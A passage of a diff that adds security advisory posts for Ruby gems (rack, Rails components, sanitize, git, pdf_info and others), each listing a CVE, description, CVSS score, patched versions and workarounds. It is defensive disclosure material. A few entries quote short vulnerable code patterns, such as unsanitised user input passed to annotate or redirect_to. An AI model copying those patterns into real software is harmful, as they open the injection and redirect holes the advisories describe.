+  description: |
+    A vulnerability classified as critical has been found in prodigasistemas
+    curupira up to 0.1.3. Affected is an unknown function of the file
+    app/controllers/curupira/passwords_controller.rb.
+    The manipulation leads to sql injection. Upgrading to version 0.1.4 is able
+    to address this issue. The name of the patch is
+    93a9a77896bb66c949acb8e64bceafc74bc8c271. It is recommended to upgrade the
+    affected component. VDB-218394 is the identifier assigned to this
+    vulnerability.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 0.1.4"
+  related:
+    url:
+    - https://github.com/prodigasistemas/curupira/releases/tag/v0.1.4
+    - https://vuldb.com/?id.218394
+---
diff --git a/advisories/_posts/2023-01-17-CVE-2022-47318.md b/advisories/_posts/2023-01-17-CVE-2022-47318.md
new file mode 100644
index 00000000..99f53160
--- /dev/null
+++ b/advisories/_posts/2023-01-17-CVE-2022-47318.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2022-47318 (git): Code injection in ruby git'
+comments: false
+categories:
+- git
+advisory:
+  gem: git
+  cve: 2022-47318
+  ghsa: pphf-gfrm-v32r
+  url: https://github.com/ruby-git/ruby-git/pull/602
+  title: Code injection in ruby git
+  date: 2023-01-17
+  description: |
+    ruby-git versions prior to v1.13.0 allows a remote authenticated attacker
+    to execute an arbitrary ruby code by having a user to load a repository containing
+    a specially crafted filename to the product. This vulnerability is different from
+    CVE-2022-46648.
+  cvss_v3: 8.0
+  patched_versions:
+  - ">= 1.13.0"
+  related:
+    url:
+    - https://jvn.jp/en/jp/JVN16765254/index.html
+---
diff --git a/advisories/_posts/2023-01-17-CVE-2022-4891.md b/advisories/_posts/2023-01-17-CVE-2022-4891.md
new file mode 100644
index 00000000..a3d753c3
--- /dev/null
+++ b/advisories/_posts/2023-01-17-CVE-2022-4891.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2022-4891 (sisimai): Sisimai Inefficient Regular Expression Complexity
+  vulnerability'
+comments: false
+categories:
+- sisimai
+advisory:
+  gem: sisimai
+  cve: 2022-4891
+  ghsa: vm74-j4wq-82xj
+  url: https://github.com/sisimai/rb-sisimai/pull/244
+  title: Sisimai Inefficient Regular Expression Complexity vulnerability
+  date: 2023-01-17
+  description: |
+    A vulnerability has been found in Sisimai up to 4.25.14p11 and classified
+    as problematic. This vulnerability affects the function `to_plain` of the file `lib/sisimai/string.rb`.
+    The manipulation leads to inefficient regular expression complexity. The exploit
+    has been disclosed to the public and may be used. Upgrading to version 4.25.14p12
+    is able to address this issue. The name of the patch is 51fe2e6521c9c02b421b383943dc9e4bbbe65d4e.
+    It is recommended to upgrade the affected component.
+  patched_versions:
+  - ">= 4.25.14p12"
+  related:
+    url:
+    - https://github.com/sisimai/rb-sisimai/commit/51fe2e6521c9c02b421b383943dc9e4bbbe65d4e
+    - https://gist.githubusercontent.com/gmcabrita/e5dc0332473fc2e3a7a407434c8d21c7/raw/00b12035e5e1b685469f143b94301a50306376ba/example.html
+    - https://github.com/sisimai/rb-sisimai/releases/tag/v4.25.14p12
+    - https://vuldb.com/?id.218452
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2022-44566.md b/advisories/_posts/2023-01-18-CVE-2022-44566.md
new file mode 100644
index 00000000..338592c6
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2022-44566.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2022-44566 (activerecord): Denial of Service Vulnerability in ActiveRecord’s
+  PostgreSQL adapter'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2022-44566
+  ghsa: 579w-22j4-4749
+  url: https://github.com/rails/rails/releases/tag/v7.0.4.1
+  title: Denial of Service Vulnerability in ActiveRecord’s PostgreSQL adapter
+  date: 2023-01-18
+  description: |
+    There is a potential denial of service vulnerability present in
+    ActiveRecord’s PostgreSQL adapter.
+
+    This has been assigned the CVE identifier CVE-2022-44566.
+
+    Versions Affected: All.
+    Not affected: None.
+    Fixed Versions: 6.1.7.1, 7.0.4.1
+
+    # Impact
+
+    In ActiveRecord <7.0.4.1 and <6.1.7.1, when a value outside the range for a
+    64bit signed integer is provided to the PostgreSQL connection adapter, it
+    will treat the target column type as numeric. Comparing integer values
+    against numeric values can result in a slow sequential scan resulting in
+    potential Denial of Service.
+
+    # Workarounds
+
+    Ensure that user supplied input which is provided to ActiveRecord clauses do
+    not contain integers wider than a signed 64bit representation or floats.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 5.2.8"
+  - "~> 6.1.7, >= 6.1.7.1"
+  - ">= 7.0.4.1"
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2022-44570.md b/advisories/_posts/2023-01-18-CVE-2022-44570.md
new file mode 100644
index 00000000..4469b901
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2022-44570.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2022-44570 (rack): Denial of service via header parsing in Rack'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2022-44570
+  ghsa: 65f5-mfpf-vfhj
+  url: https://github.com/rack/rack/releases/tag/v3.0.4.1
+  title: Denial of service via header parsing in Rack
+  date: 2023-01-18
+  description: |
+    There is a possible denial of service vulnerability in the Range header
+    parsing component of Rack. This vulnerability has been assigned the CVE
+    identifier CVE-2022-44570.
+
+    Versions Affected: >= 1.5.0
+    Not affected: None.
+    Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.2, 3.0.4.1
+
+    # Impact
+
+    Carefully crafted input can cause the Range header parsing component in Rack
+    to take an unexpected amount of time, possibly resulting in a denial of
+    service attack vector. Any applications that deal with Range requests (such
+    as streaming applications, or applications that serve files) may be impacted.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 2.0.9, >= 2.0.9.2"
+  - "~> 2.1.4, >= 2.1.4.2"
+  - "~> 2.2.6, >= 2.2.6.2"
+  - ">= 3.0.4.1"
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2022-44571.md b/advisories/_posts/2023-01-18-CVE-2022-44571.md
new file mode 100644
index 00000000..4c65160c
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2022-44571.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2022-44571 (rack): Denial of Service Vulnerability in Rack Content-Disposition
+  parsing'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2022-44571
+  ghsa: 93pm-5p5f-3ghx
+  url: https://github.com/rack/rack/releases/tag/v3.0.4.1
+  title: Denial of Service Vulnerability in Rack Content-Disposition parsing
+  date: 2023-01-18
+  description: |
+    There is a denial of service vulnerability in the Content-Disposition parsing
+    component of Rack. This vulnerability has been assigned the CVE identifier
+    CVE-2022-44571.
+
+    Versions Affected: >= 2.0.0
+    Not affected: None.
+    Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.4.1
+
+    # Impact
+
+    Carefully crafted input can cause Content-Disposition header parsing in Rack
+    to take an unexpected amount of time, possibly resulting in a denial of
+    service attack vector. This header is used typically used in multipart
+    parsing. Any applications that parse multipart posts using Rack (virtually
+    all Rails applications) are impacted.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  patched_versions:
+  - "~> 2.0.9, >= 2.0.9.2"
+  - "~> 2.1.4, >= 2.1.4.2"
+  - "~> 2.2.6, >= 2.2.6.1"
+  - ">= 3.0.4.1"
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2022-44572.md b/advisories/_posts/2023-01-18-CVE-2022-44572.md
new file mode 100644
index 00000000..7a8653bb
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2022-44572.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2022-44572 (rack): Denial of service via multipart parsing in Rack'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2022-44572
+  ghsa: rqv2-275x-2jq5
+  url: https://github.com/rack/rack/releases/tag/v3.0.4.1
+  title: Denial of service via multipart parsing in Rack
+  date: 2023-01-18
+  description: |
+    There is a denial of service vulnerability in the multipart parsing component
+    of Rack. This vulnerability has been assigned the CVE identifier
+    CVE-2022-44572.
+
+    Versions Affected: >= 2.0.0
+    Not affected: None.
+    Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.4.1
+
+    # Impact
+
+    Carefully crafted input can cause RFC2183 multipart boundary parsing in Rack
+    to take an unexpected amount of time, possibly resulting in a denial of
+    service attack vector. Any applications that parse multipart posts using
+    Rack (virtually all Rails applications) are impacted.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  patched_versions:
+  - "~> 2.0.9, >= 2.0.9.2"
+  - "~> 2.1.4, >= 2.1.4.2"
+  - "~> 2.2.6, >= 2.2.6.1"
+  - ">= 3.0.4.1"
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2023-22792.md b/advisories/_posts/2023-01-18-CVE-2023-22792.md
new file mode 100644
index 00000000..a3998042
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2023-22792.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2023-22792 (actionpack): ReDoS based DoS vulnerability in Action Dispatch'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2023-22792
+  ghsa: p84v-45xj-wwqj
+  url: https://github.com/rails/rails/releases/tag/v7.0.4.1
+  title: ReDoS based DoS vulnerability in Action Dispatch
+  date: 2023-01-18
+  description: |
+    There is a possible regular expression based DoS vulnerability in Action
+    Dispatch. This vulnerability has been assigned the CVE identifier
+    CVE-2023-22792.
+
+    Versions Affected: >= 3.0.0
+    Not affected: < 3.0.0
+    Fixed Versions: 6.1.7.1, 7.0.4.1
+
+    # Impact
+
+    Specially crafted cookies, in combination with a specially crafted
+    X_FORWARDED_HOST header can cause the regular expression engine to enter a
+    state of catastrophic backtracking. This can cause the process to use large
+    amounts of CPU and memory, leading to a possible DoS vulnerability All users
+    running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    # Workarounds
+
+    We recommend that all users upgrade to one of the FIXED versions. In the
+    meantime, users can mitigate this vulnerability by using a load balancer or
+    other device to filter out malicious X_FORWARDED_HOST headers before they
+    reach the application.
+  unaffected_versions:
+  - "< 3.0.0"
+  patched_versions:
+  - "~> 5.2.8"
+  - "~> 6.1.7, >= 6.1.7.1"
+  - ">= 7.0.4.1"
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2023-22794.md b/advisories/_posts/2023-01-18-CVE-2023-22794.md
new file mode 100644
index 00000000..6a28a1f5
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2023-22794.md
@@ -0,0 +1,71 @@
+---
+layout: advisory
+title: 'CVE-2023-22794 (activerecord): SQL Injection Vulnerability via ActiveRecord
+  comments'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2023-22794
+  ghsa: hq7p-j377-6v63
+  url: https://github.com/rails/rails/releases/tag/v7.0.4.1
+  title: SQL Injection Vulnerability via ActiveRecord comments
+  date: 2023-01-18
+  description: |
+    There is a possible vulnerability in ActiveRecord related to the
+    sanitization of comments. This vulnerability has been assigned the CVE
+    identifier CVE-2023-22794.
+
+    Versions Affected: >= 6.0.0
+    Not affected: < 6.0.0
+    Fixed Versions: 6.0.6.1, 6.1.7.1, 7.0.4.1
+
+    # Impact
+
+    Previously the implementation of escaping for comments was insufficient for
+
+    If malicious user input is passed to either the annotate query method, the
+    optimizer_hints query method, or through the QueryLogs interface which
+    automatically adds annotations, it may be sent to the database with
+    insufficient sanitization and be able to inject SQL outside of the comment.
+
+    In most cases these interfaces won’t be used with user input and users
+    should avoid doing so.
+
+    Example vulnerable code:
+    ```
+    Post.where(id: 1).annotate("#{params[:user_input]}")
+
+    Post.where(id: 1).optimizer_hints("#{params[:user_input]}")
+    ```
+
+    Example vulnerable QueryLogs configuration (the default configuration is not
+    vulnerable):
+    ```
+    config.active_record.query_log_tags = [
+      {
+        something: -> { <some value including user input> }
+      }
+    ]
+    ```
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    # Workarounds
+
+    Avoid passing user input to annotate and avoid using QueryLogs configuration
+    which can include user input.
+  cvss_v3: 8.8
+  unaffected_versions:
+  - "< 6.0.0"
+  patched_versions:
+  - "~> 6.0.6, >= 6.0.6.1"
+  - "~> 6.1.7, >= 6.1.7.1"
+  - ">= 7.0.4.1"
+  related:
+    url:
+    - https://github.com/rails/rails/commit/d7aba06953f9fa789c411676b941d20df8ef73de
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2023-22795.md b/advisories/_posts/2023-01-18-CVE-2023-22795.md
new file mode 100644
index 00000000..9604cd8c
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2023-22795.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2023-22795 (actionpack): ReDoS based DoS vulnerability in Action Dispatch'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2023-22795
+  ghsa: 8xww-x3g3-6jcv
+  url: https://github.com/rails/rails/releases/tag/v7.0.4.1
+  title: ReDoS based DoS vulnerability in Action Dispatch
+  date: 2023-01-18
+  description: |
+    There is a possible regular expression based DoS vulnerability in Action
+    Dispatch related to the If-None-Match header. This vulnerability has been
+    assigned the CVE identifier CVE-2023-22795.
+
+    Versions Affected: All
+    Not affected: None
+    Fixed Versions: 6.1.7.1, 7.0.4.1
+
+    # Impact
+
+    A specially crafted HTTP If-None-Match header can cause the regular
+    expression engine to enter a state of catastrophic backtracking, when on a
+    version of Ruby below 3.2.0. This can cause the process to use large amounts
+    of CPU and memory, leading to a possible DoS vulnerability All users running
+    an affected release should either upgrade or use one of the workarounds
+    immediately.
+
+    # Workarounds
+
+    We recommend that all users upgrade to one of the FIXED versions. In the
+    meantime, users can mitigate this vulnerability by using a load balancer or
+    other device to filter out malicious If-None-Match headers before they reach
+    the application.
+
+    Users on Ruby 3.2.0 or greater are not affected by this vulnerability.
+  patched_versions:
+  - "~> 5.2.8"
+  - "~> 6.1.7, >= 6.1.7.1"
+  - ">= 7.0.4.1"
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2023-22796.md b/advisories/_posts/2023-01-18-CVE-2023-22796.md
new file mode 100644
index 00000000..9fd6d1b3
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2023-22796.md
@@ -0,0 +1,49 @@
+---
+layout: advisory
+title: 'CVE-2023-22796 (activesupport): ReDoS based DoS vulnerability in Active Support’s
+  underscore'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+  gem: activesupport
+  framework: rails
+  cve: 2023-22796
+  ghsa: j6gc-792m-qgm2
+  url: https://github.com/rails/rails/releases/tag/v7.0.4.1
+  title: ReDoS based DoS vulnerability in Active Support’s underscore
+  date: 2023-01-18
+  description: |
+    There is a possible regular expression based DoS vulnerability in Active
+    Support. This vulnerability has been assigned the CVE identifier
+    CVE-2023-22796.
+
+    Versions Affected: All
+    Not affected: None
+    Fixed Versions: 6.1.7.1, 7.0.4.1
+
+    # Impact
+
+    A specially crafted string passed to the underscore method can cause the
+    regular expression engine to enter a state of catastrophic backtracking.
+    This can cause the process to use large amounts of CPU and memory, leading
+    to a possible DoS vulnerability.
+
+    This affects String#underscore, ActiveSupport::Inflector.underscore,
+    String#titleize, and any other methods using these.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+
+    Users on Ruby 3.2.0 or greater may be able to reduce the impact by
+    configuring Regexp.timeout.
+  patched_versions:
+  - "~> 5.2.8"
+  - "~> 6.1.7, >= 6.1.7.1"
+  - ">= 7.0.4.1"
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2023-22797.md b/advisories/_posts/2023-01-18-CVE-2023-22797.md
new file mode 100644
index 00000000..ef3659c7
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2023-22797.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2023-22797 (actionpack): Open Redirect Vulnerability in Action Pack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2023-22797
+  ghsa: 9445-4cr6-336r
+  url: https://github.com/rails/rails/releases/tag/v7.0.4.1
+  title: Open Redirect Vulnerability in Action Pack
+  date: 2023-01-18
+  description: |
+    There is a vulnerability in Action Controller’s redirect_to. This
+    vulnerability has been assigned the CVE identifier CVE-2023-22797.
+
+    Versions Affected: >= 7.0.0
+    Not affected: < 7.0.0
+    Fixed Versions: 7.0.4.1
+
+    # Impact
+
+    There is a possible open redirect when using the redirect_to helper with
+    untrusted user input.
+
+    Vulnerable code will look like this:
+    ```
+    redirect_to(params[:some_param])
+    ```
+
+    Rails 7.0 introduced protection against open redirects from calling
+    redirect_to with untrusted user input. In prior versions the developer was
+    fully responsible for only providing trusted input. However the check
+    introduced could be bypassed by a carefully crafted URL.
+
+    All users running an affected release should either upgrade or use one of
+    the workarounds immediately.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 7.0.0"
+  patched_versions:
+  - ">= 7.0.4.1"
+---
diff --git a/advisories/_posts/2023-01-18-CVE-2023-22799.md b/advisories/_posts/2023-01-18-CVE-2023-22799.md
new file mode 100644
index 00000000..a7d04363
--- /dev/null
+++ b/advisories/_posts/2023-01-18-CVE-2023-22799.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'CVE-2023-22799 (globalid): ReDoS based DoS vulnerability in GlobalID'
+comments: false
+categories:
+- globalid
+advisory:
+  gem: globalid
+  cve: 2023-22799
+  ghsa: 23c2-gwp5-pxw9
+  url: https://github.com/rails/globalid/releases/tag/v1.0.1
+  title: ReDoS based DoS vulnerability in GlobalID
+  date: 2023-01-18
+  description: |
+    There is a ReDoS based DoS vulnerability in the GlobalID gem. This
+    vulnerability has been assigned the CVE identifier CVE-2023-22799.
+
+    Versions Affected: >= 0.2.1
+    Not affected: < 0.2.1
+    Fixed Versions: 1.0.1
+
+    # Impact
+
+    There is a possible DoS vulnerability in the model name parsing section
+    of the GlobalID gem. Carefully crafted input can cause the regular
+    expression engine to take an unexpected amount of time. All users running
+    an affected release should either upgrade or use one of the workarounds
+    immediately.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  unaffected_versions:
+  - "< 0.2.1"
+  patched_versions:
+  - ">= 1.0.1"
+---
diff --git a/advisories/_posts/2023-01-20-GHSA-q95h-cqrv-8jv5.md b/advisories/_posts/2023-01-20-GHSA-q95h-cqrv-8jv5.md
new file mode 100644
index 00000000..30dd24da
--- /dev/null
+++ b/advisories/_posts/2023-01-20-GHSA-q95h-cqrv-8jv5.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'GHSA-q95h-cqrv-8jv5 (exiftool_vendored): ExifTool vulnerable to arbitrary
+  code execution'
+comments: false
+categories:
+- exiftool_vendored
+advisory:
+  gem: exiftool_vendored
+  ghsa: q95h-cqrv-8jv5
+  url: https://github.com/exiftool-rb/exiftool_vendored.rb/security/advisories/GHSA-q95h-cqrv-8jv5
+  title: ExifTool vulnerable to arbitrary code execution
+  date: 2023-01-20
+  description: |
+    ### Impact
+    Arbitrary code execution can occur when running `exiftool` against files with hostile metadata payloads
+
+    ### Patches
+    ExifTool has already been patched in version 12.24. `exiftool_vendored.rb`, which vendors ExifTool, includes this patch in [v12.25.0](https://github.com/exiftool-rb/exiftool_vendored.rb/releases/tag/v12.25.0).
+
+    ### Workarounds
+    No
+  cvss_v3: 7.8
+  patched_versions:
+  - ">= 12.25.0"
+  related:
+    url:
+    - https://twitter.com/wcbowling/status/1385803927321415687
+    cve:
+    - 2021-22204
+---
diff --git a/advisories/_posts/2023-01-24-GHSA-636f-xm5j-pj9m.md b/advisories/_posts/2023-01-24-GHSA-636f-xm5j-pj9m.md
new file mode 100644
index 00000000..f15890e0
--- /dev/null
+++ b/advisories/_posts/2023-01-24-GHSA-636f-xm5j-pj9m.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'GHSA-636f-xm5j-pj9m (commonmarker): Several quadratic complexity bugs may
+  lead to denial of service in Commonmarker'
+comments: false
+categories:
+- commonmarker
+advisory:
+  gem: commonmarker
+  ghsa: 636f-xm5j-pj9m
+  url: https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-636f-xm5j-pj9m
+  title: Several quadratic complexity bugs may lead to denial of service in Commonmarker
+  date: 2023-01-24
+  description: |
+    ## Impact
+
+    Several quadratic complexity bugs in commonmarker's underlying [`cmark-gfm`](https://github.com/github/cmark-gfm)
+    library may lead to unbounded resource exhaustion and subsequent denial of service.
+
+    The following vulnerabilities were addressed:
+
+    * [CVE-2023-22483](https://github.com/github/cmark-gfm/security/advisories/GHSA-29g3-96g3-jg6c)
+    * [CVE-2023-22484](https://github.com/github/cmark-gfm/security/advisories/GHSA-24f7-9frr-5h2r)
+    * [CVE-2023-22485](https://github.com/github/cmark-gfm/security/advisories/GHSA-c944-cv5f-hpvr)
+    * [CVE-2023-22486](https://github.com/github/cmark-gfm/security/advisories/GHSA-r572-jvj2-3m8p)
+
+    For more information, consult the release notes for version
+    [`0.23.0.gfm.7`](https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.7).
+
+    ## Mitigation
+
+    Users are advised to upgrade to commonmarker version [`0.23.7`](https://rubygems.org/gems/commonmarker/versions/0.23.7).
+  patched_versions:
+  - ">= 0.23.7"
+  related:
+    cve:
+    - 2023-22483
+    - 2023-22484
+    - 2023-22485
+    - 2023-22486
+    ghsa:
+    - 29g3-96g3-jg6c
+    - 24f7-9frr-5h2r
+    - c944-cv5f-hpvr
+    - r572-jvj2-3m8p
+---
diff --git a/advisories/_posts/2023-01-28-CVE-2023-23627.md b/advisories/_posts/2023-01-28-CVE-2023-23627.md
new file mode 100644
index 00000000..bbcaac30
--- /dev/null
+++ b/advisories/_posts/2023-01-28-CVE-2023-23627.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2023-23627 (sanitize): Improper neutralization of `noscript` element content
+  may allow XSS in Sanitize'
+comments: false
+categories:
+- sanitize
+advisory:
+  gem: sanitize
+  cve: 2023-23627
+  ghsa: fw3g-2h3j-qmm7
+  url: https://github.com/rgrove/sanitize/security/advisories/GHSA-fw3g-2h3j-qmm7
+  title: Improper neutralization of `noscript` element content may allow XSS in Sanitize
+  date: 2023-01-28
+  description: |
+    ### Impact
+
+    Using carefully crafted input, an attacker may be able to sneak arbitrary HTML through Sanitize `>= 5.0.0, < 6.0.1` when Sanitize is configured with a custom allowlist that allows `noscript` elements. This could result in XSS (cross-site scripting) or other undesired behavior when that HTML is rendered in a browser.
+
+    Sanitize's default configs don't allow `noscript` elements and are not vulnerable. This issue only affects users who are using a custom config that adds `noscript` to the element allowlist.
+
+    ### Patches
+
+    Sanitize `>= 6.0.1` always removes `noscript` elements and their contents, even when `noscript` is in the allowlist.
+
+    ### Workarounds
+
+    Users who are unable to upgrade can prevent this issue by using one of Sanitize's default configs or by ensuring that their custom config does not include `noscript` in the element allowlist.
+
+    ### Details
+
+    The root cause of this issue is that HTML parsing rules treat the contents of a `noscript` element differently depending on whether scripting is enabled in the user agent. Nokogiri (the HTML parser Sanitize uses) doesn't support scripting so it follows the "scripting disabled" rules, but a web browser with scripting enabled will follow the "scripting enabled" rules. This means that Sanitize can't reliably make the contents of a `noscript` element safe for scripting enabled browsers. The safest thing to do is to remove the element and its contents entirely, which is now what Sanitize does in version 6.0.1 and later.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 5.0.0"
+  patched_versions:
+  - ">= 6.0.1"
+  related:
+    url:
+    - https://github.com/rgrove/sanitize/commit/ec14265e530dc3fe31ce2ef773594d3a97778d22
+    - https://github.com/rgrove/sanitize/releases/tag/v6.0.1
+---
diff --git a/advisories/_posts/2023-01-29-CVE-2023-0569.md b/advisories/_posts/2023-01-29-CVE-2023-0569.md
new file mode 100644
index 00000000..581b0161
--- /dev/null
+++ b/advisories/_posts/2023-01-29-CVE-2023-0569.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2023-0569 (publify_core): Publify contains Weak Password Requirements'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2023-0569
+  ghsa: g7gf-2rqw-5rwx
+  url: https://github.com/publify/publify/commit/8905e4e639cf03b758da558568a86c9816253b2d
+  title: Publify contains Weak Password Requirements
+  date: 2023-01-29
+  description: |
+    Weak Password Requirements in GitHub repository publify/publify prior
+    to 9.2.10.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 9.2.10"
+  related:
+    url:
+    - https://huntr.dev/bounties/81b1e1da-10dd-435e-94ae-4bdd41df6df9
+---
diff --git a/advisories/_posts/2023-02-01-CVE-2023-25015.md b/advisories/_posts/2023-02-01-CVE-2023-25015.md
new file mode 100644
index 00000000..f9cb91db
--- /dev/null
+++ b/advisories/_posts/2023-02-01-CVE-2023-25015.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2023-25015 (clockwork_web): CSRF Vulnerability with Rails < 5.2'
+comments: false
+categories:
+- clockwork_web
+advisory:
+  gem: clockwork_web
+  cve: 2023-25015
+  ghsa: p4xx-w6fr-c4w9
+  url: https://github.com/ankane/clockwork_web/issues/4
+  title: CSRF Vulnerability with Rails < 5.2
+  date: 2023-02-01
+  description: |
+    Clockwork Web is vulnerable to cross-site request forgery (CSRF) with Rails < 5.2.
+
+    A CSRF attack works by getting an authorized user to visit a malicious website and
+    then performing requests on behalf of the user. In this instance, actions include
+    enabling and disabling jobs.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 0.1.2"
+---
diff --git a/advisories/_posts/2023-02-24-CVE-2022-36231.md b/advisories/_posts/2023-02-24-CVE-2022-36231.md
new file mode 100644
index 00000000..12833d4b
--- /dev/null
+++ b/advisories/_posts/2023-02-24-CVE-2022-36231.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2022-36231 (pdf_info): Code injection in pdf_info'
+comments: false
+categories:
+- pdf_info
+advisory:
+  gem: pdf_info
+  cve: 2022-36231
+  ghsa: 9fh3-j99m-f4v7
+  url: https://github.com/affix/CVE-2022-36231
+  title: Code injection in pdf_info
+  date: 2023-02-24
+  description: |
+    pdf_info 0.5.3 is vulnerable to Command Execution. An attacker using
+    a specially crafted payload may execute OS commands by using command chaining because
+    during object initalization there is no validation performed and the user provided
+    path is used.
+  cvss_v3: 9.8
+  related:
+    url:
+    - https://github.com/newspaperclub/pdf_info/issues/16
+    - https://github.com/newspaperclub/pdf_info/pull/15
+---
diff --git a/advisories/_posts/2023-03-03-CVE-2023-27530.md b/advisories/_posts/2023-03-03-CVE-2023-27530.md
new file mode 100644
index 00000000..d527982e
--- /dev/null
+++ b/advisories/_posts/2023-03-03-CVE-2023-27530.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2023-27530 (rack): Possible DoS Vulnerability in Multipart MIME parsing'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2023-27530
+  ghsa: 3h57-hmj3-gj3p
+  url: https://discuss.rubyonrails.org/t/cve-2023-27530-possible-dos-vulnerability-in-multipart-mime-parsing/82388
+  title: Possible DoS Vulnerability in Multipart MIME parsing
+  date: 2023-03-03
+  description: |
+    There is a possible DoS vulnerability in the Multipart MIME parsing code in Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27530.
+
+    Versions Affected: All. Not affected: None Fixed Versions: 3.0.4.2, 2.2.6.3, 2.1.4.3, 2.0.9.3
+
+    # Impact
+    The Multipart MIME parsing code in Rack limits the number of file parts, but does not limit the total number of parts that can be uploaded. Carefully crafted requests can abuse this and cause multipart parsing to take longer than expected.
+
+    All users running an affected release should either upgrade or use one of the workarounds immediately.
+
+    # Workarounds
+    A proxy can be configured to limit the POST body size which will mitigate this issue.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 2.0.9, >= 2.0.9.3"
+  - "~> 2.1.4, >= 2.1.4.3"
+  - "~> 2.2.6, >= 2.2.6.3"
+  - ">= 3.0.4.2"
+---
diff --git a/advisories/_posts/2023-03-13-CVE-2023-23913.md b/advisories/_posts/2023-03-13-CVE-2023-23913.md
new file mode 100644
index 00000000..428bfd4d
--- /dev/null
+++ b/advisories/_posts/2023-03-13-CVE-2023-23913.md
@@ -0,0 +1,86 @@
+---
+layout: advisory
+title: 'CVE-2023-23913 (actionview): DOM Based Cross-site Scripting in rails-ujs for
+  contenteditable HTML Elements'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+  gem: actionview
+  framework: rails
+  cve: 2023-23913
+  ghsa: xp5h-f8jf-rc8q
+  url: https://discuss.rubyonrails.org/t/cve-2023-23913-dom-based-cross-site-scripting-in-rails-ujs-for-contenteditable-html-elements/82468
+  title: DOM Based Cross-site Scripting in rails-ujs for contenteditable HTML Elements
+  date: 2023-03-13
+  description: |
+    NOTE: rails-ujs is part of Rails/actionview since 5.1.0.
+
+    There is a potential DOM based cross-site scripting issue in rails-ujs
+    which leverages the Clipboard API to target HTML elements that are
+    assigned the contenteditable attribute. This has the potential to
+    occur when pasting malicious HTML content from the clipboard that
+    includes a data-method, data-remote or data-disable-with attribute.
+
+    This vulnerability has been assigned the CVE identifier CVE-2023-23913.
+
+    Not affected: < 5.1.0
+    Versions Affected: >= 5.1.0
+    Fixed Versions: 6.1.7.3, 7.0.4.3
+
+    Impact
